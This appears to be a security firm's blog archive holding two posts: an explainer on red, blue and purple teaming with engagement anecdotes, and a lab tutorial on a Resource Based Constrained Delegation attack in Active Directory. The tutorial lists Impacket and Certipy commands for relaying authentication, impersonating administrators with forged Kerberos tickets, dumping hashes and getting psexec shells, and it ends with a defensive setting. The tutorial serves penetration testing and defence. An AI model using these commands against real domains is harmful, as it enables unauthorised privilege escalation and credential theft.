Month: March 2024

  • Red Teams, Blue Teams, and Purple Teams, Oh My!

    Red Teams, Blue Teams, and Purple Teams, Oh My!

    Red Teams, Blue Teams, and Purple Teams are terms used in cybersecurity to describe different approaches to testing and improving security measures within an organization. Red Teams and Blue Teams – and working together, Purple Teams – each play a key role in the cybersecurity process, and, when used effectively, they can help identify and mitigate vulnerabilities and improve an organization’s overall security posture.

    What They Are

    Red Teams

    Red Teams are offensive security teams that simulate cyberattacks against an organization. They act as adversaries, attempting to breach an organization’s defenses using the same tools, techniques, and procedures as real attackers in order to identify vulnerabilities and weaknesses in an organization’s security posture before real attackers can exploit them. Red Teams use techniques such as penetration testing and social engineering to assess the organization’s security.

    Blue Teams

    Blue Teams are defensive security teams that are responsible for maintaining and improving the organization’s security posture. They work to detect, respond to, and prevent cyberattacks and security incidents. Blue Teams are often responsible for implementing and managing security tools and technologies, monitoring network traffic for signs of malicious activity, and responding to security incidents when they occur. They may also work closely with Red Teams to understand and address vulnerabilities identified during testing.

    Purple Teams

    Purple Teams combine elements of both Red Teams and Blue Teams. They focus on collaboration and communication between the offensive and defensive teams to improve overall security. Purple Teams often work together to develop and test security controls, identify and prioritize vulnerabilities, and improve incident response processes. By working together, Red and Blue Teams can better understand each other’s perspectives and improve an organization’s security posture.

    Red Team Blue Team Purple Team

    How They Can Help You

    These teams are useful because they provide a structured and systematic approach to testing and improving security. By simulating real-world attacks, organizations can identify and address vulnerabilities before they are exploited by real attackers.

    Additionally, by working together in a Purple Team, Red Teams and Blue Teams can improve communication and collaboration, leading to more effective security measures. Overall, these teams help organizations identify and mitigate security risks, protect sensitive data, and maintain the trust of their customers and stakeholders.

    What It’s Like to Take Part in a Red Team

    All cybersecurity companies are different, so we’ll focus on the Raxis Red Team. First, you scope the Red Team. While a full scope of all of your physical locations, employees, applications, and networks is most like a malicious hacker’s landscape, Raxis works with you to make necessary exclusions, such as critical medical devices or sensitive locations.

    With the scope in mind, the Raxis Red Team gets started. Much like a crime drama, the early stages of the test are slow. The team carefully researches the target company for possible weaknesses and entry points, from physical information (locked doors, badge readers, cameras, etc.) to network infrastructure (websites, VPNs, operating systems, etc.).

    Using employee lists found on sites such as social media, company websites, and tools that scour the internet for employee information, the Red Team often begins the attack with small spear phishing campaigns. Unlike large phishing tests to train your employees, these are aimed to stay below the radar and to get results. Often spear phishing emails encourage the target to call Red Team members in order to build trust before attempting to discover sensitive information. In other cases, our team has sent emails that lead employee targets to open phishing webpages immediately and enter usernames and passwords.

    During a Red Team, testers are standing by to receive and use that information. Even if an employee gets suspicious and changes their password, a Red Team may already be inside the network. If that same password was reused for multiple systems, the Red Team may have further access unless the employee remembers to change the password on each system. All of this can be accomplished remotely using external network systems that the Red Team discovers.

    Phishing Email

    Once credentials are in hand, the Red Team moves to the next level. From sitting in a parking lot with a powerful antenna accessing the organization’s wireless network to entering a building and installing a device on the internal network, the credentials acquired above take on new urgency as they have the potential to be used on any system on the internal or wireless networks as well as the external network.

    Why Take Part in a Red Team?

    The power of a Red Team is that almost everything is in play. As malicious attackers use anything they can find to piece together an attack, so can your Red Team. These tests are less about reporting on every issue you should fix and more about showing your organization what an attacker could accomplish against your systems.

    Past Raxis Red Team engagements have discovered vulnerabilities that may look small on their own but, together, give Raxis full and persistent access to organizations’ networks and buildings. Our teams have tailgated into buildings, casually walked past or talked their way past security guards, cloned badges (even for data centers) to gain unquestioned access, planted devices that allow remote access to internal systems, sent phishing emails to employees as employees, gained domain administrator access via wireless networks, and more.

    Red Teams Benefit You

    Often a first impression while thinking about performing a Red Team test is that your organization will fail or that it will be a painful experience. We encourage you to think about it more positively. A Red Team, whether through Raxis or another reputable firm, gives your team information to strengthen your physical and network security controls and also gives you real-world examples that show your employees the importance of keeping security at top of mind.

    Red Team Electronic Social Engineering

    One last story. In one Red Team engagement, Raxis initially gained access via a successful spear phish that provided a username and password that worked on the organization’s internal production wireless network. While this employee fell for the phish initially, he contacted IT within a day to say that he had seen strange activity in his account. IT blew him off and said it was fine. How do we know? Because our Red Team was monitoring his emails.

    It took Raxis more than one day to use those credentials to gain persistent access to the network. If IT has listened to the employee and reset his password, our team would have been back at square one. That is a powerful message commending the employee for alerting IT and helping IT recognize that it’s always best to be safe rather than sorry.

    Purple Teams Provide Even More Insight

    For a Purple Team engagement, Raxis team members work both offense and defense. While the Red Team performs as usual, another Raxis team member also works with your Blue Team to both watch and assess and, sometimes, to guide. In the end, a Purple Team report includes (in addition to a full Red Team report) an evaluation of your Blue Team’s activities as well as advice on how to strengthen them for the future.

    If your organization has an internal Red Team or has performed external Red Team tests in the past, a Purple Team engagement can be the next step to strengthen your Blue Team. The Raxis team member working with your Blue Team is kept apprised of what the Red Team is doing. If your Blue Team catches the Red Team, great! If not, the Raxis team member will evaluate your Blue Team’s actions and may – depending on your scope – guide them on key points.

  • AD Series: Resource Based Constrained Delegation (RBCD)

    AD Series: Resource Based Constrained Delegation (RBCD)

    In a Windows domain, devices have an msDS-AllowedToActOnBehalfOfOtherIdentitity attribute. Per Microsoft, “this attribute is used for access checks to determine if a requestor has permission to act on the behalf of other identities to services running as this account.” In this blog, we will exploit this feature to gain administrative access to a target system in a Resource Based Constrained Delegation (RBCD) attack.

    We’ll be using the Active Directory testing environment we setup in the first post in this series.

    Tools We’ll Be Using

    • NoPAC Scanner
    • Impacket Tools (installed on Kali):
      • addcomputer.py
      • rbcd.py
      • getST.py
      • secretsdump.py
      • psexec.py
    • Certipy

    The Basics of the RBCD Exploit

    First we need to have control of an account with an SPN (Service Principal Name). The easiest way to do this for our test is to create a machine account. By default any non-admin user can create up to 10 machine accounts, but this value is set by the MachineAccountQuota. You can query this info by using NoPAC scanner.

    python3 scanner.py Domain/User -dc-ip DC-IP
    
    Using NoPAC scanner to discover the MachineAccountQuota

    Seeing the MachineAccountQuota above 0 (again default is 10), any user can create a machine account. I used impacket’s addcomputer.py script.

    addcomputer.py ‘domain/user:Password’ -dc-ip DC-IP
    
    Using impacket’s addcomputer script to create a new machine account

    For initial testing I gave the special.user user the write privilege over the lab1 machine.

    The write privilege is all that is needed to modify the msDS-AllowedToActOnBehalfOfOtherIdentitity attribute.

    Adding the write privilege in order to modify the msDS-AllowedToActOnBehalfOfOtherIdentitity attribute

    After giving the write privilege to the account, I used rbcd.py script from impacket to modify the attribute and add the created computer account.

    rbcd.py -delegate-from ‘Controlled Account’ -delegate-to ‘target’ -dc-ip DC-IP -action write ‘Domain/User:Password’
    Using the rbcd.py script to modify the attribute and add the created computer account.

    After configuring the attribute, I used impacket’s getST.py script to get a Kerberos ticket where we impersonate the administrator user on that device. In this case make sure to use the created machine account to login.

    getST.py -spn ‘cifs/target’ -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using impacket’s getST.py script to get a Kerberos ticket where special.user impersonates the administrator user for that device

    In order to use the ticket, first I exported an environment variable that points to the created ticked.

    export KRB5CCNAME={Ticket}
    
    Exporting an environment variable that points to the created ticked

    Now that I have the ticket, I can use it with a bunch of tools. I used secretsdump as an example.

    secretsdump.py administrator@Target -k -dc-ip DC-IP -target-ip Target-IP
    
    Using secretsdump to dump local SAM hashes using the exported ticket

    Note: When using the tickets, make sure the target isn’t an IP address but rather the domain name (i.e. lab1.ad.lab). You can use the target-ip flag to point to the right computer if names don’t resolve. I don’t want to admit how long it took me to figure that out.

    Playing around with RBCD

    Certipy has the ability to access an LDAP shell with a PFX certificate. Say there is web enrollment enabled. As we discussed in the past, you can force the server to authenticate to you then relay it to web enrollment.

    certipy relay -ca CA-IP
    Using certipy to force the server to authenticate to you then relay it to web enrollment

    After a successful relay you can use the saved certificate to access the LDAP shell.

    certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
    Accessing the LDAP shell with PFX certificate

    Once in the LDAP shell you can set up the RBCD attack with the set_rbcd command where the first argument is the target device and the second is the controlled account.

    set_rbcd Target Controlled-Account
    Using set_rbcd to set the target as a controlled account

    After setting up the RBCD, it’s the same as before using getST to get the ticket and run with it.

    impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using getST.py to get the ticket as before
    impacket-psexec 'Domain/administrator@Target' -k -no-pass -dc-ip DC-IP -target-ip Target-IP
    Using impacket's psexec to gain access to an admin share

    Next I wanted to try the same thing but against the domain controller. So I setup certipy to get a domain controller certificate, as we’ve previously discussed.

    As a note, because it’s a domain controller, the template has to be specified as DomainController, but you can still use it to access an LDAP shell.

    certipy relay -ca CA-IP -template DomainController
    Using certipy to force the server to authenticate to you then relay it to web enrollment, this time using the domain controller template

    Then, as before, I accessed the LDAP shell and set up the RBCD attack.

    certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
    Accessing the LDAP shell with PFX certificate again
    set_rbcd Target Controlled-Account
    Using set_rbcd to set the target as a controlled account, this time for a domain controller

    Then it’s just the same thing as the other tests.

    impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using getST.py to get the ticket as before
    impacket-psexec 'Domain/administrator@Target' -dc-ip DC-IP -target-ip Target-IP -k -no-pass
    Using impacket's psexec to gain access to an admin share

    Protecting Against RBCD

    I made a new user, protected.user, to show how to add protections within Active Directory to prevent these attacks. Here I successfully exploit RBCD before adding protections.

    Using getST.py to get the ticket before we've added protections, and it still works like before

    As expected, it worked.

    Now I checked the box that prevents the account from being delegated.

    Checking the "Account is sensitive and cannot be delegated" box in protected.user's settings

    And then I tried again.

    Using getST.py in an attempt to get the ticket after we've added protections, and now it no longer works

    This time the attack didn’t work, which is what we were looking for.

    Microsoft also has a group called Protected Users which should (based on my understanding) enable protections against this and other attacks. While I’ve been blocked before by that group while performing penetration tests, for some reason, in my lab, adding a user to that group did not actually prevent the attack. I’m not sure why, but it didn’t, hence the method I discovered above to be sure the account is protected.

    A Final Note

    The end result for RBCD really is just getting administrative access to a machine. It’s a privilege escalation exploit, and it only works on the machine you’re targeting, not across the domain. If you’re on a DC then great. But it’s still a great way for someone to get admin access to a machine in order to try lateral movement or to access info on that machine during a penetration test.

    Want to learn more? Take a look at the first in this Active Directory Series.